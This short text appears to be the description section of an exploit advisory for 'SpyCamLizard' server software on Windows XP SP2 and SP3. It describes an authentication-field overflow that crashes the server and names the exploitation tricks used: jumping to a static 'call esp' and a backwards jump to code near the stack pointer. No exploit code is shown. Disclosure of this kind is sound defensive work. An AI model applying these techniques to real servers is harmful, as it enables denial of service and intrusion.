Description#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).#For this exploit I have tried several strategies to increase reliability and performance:#Jump to a static 'call esp'#Backwards jump to code a known distance from the stack pointer.#The SpyCamLizard does not correctly handle the amount of data or bytes sent.#When authenticating to the SpyCamLizard with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.#2.
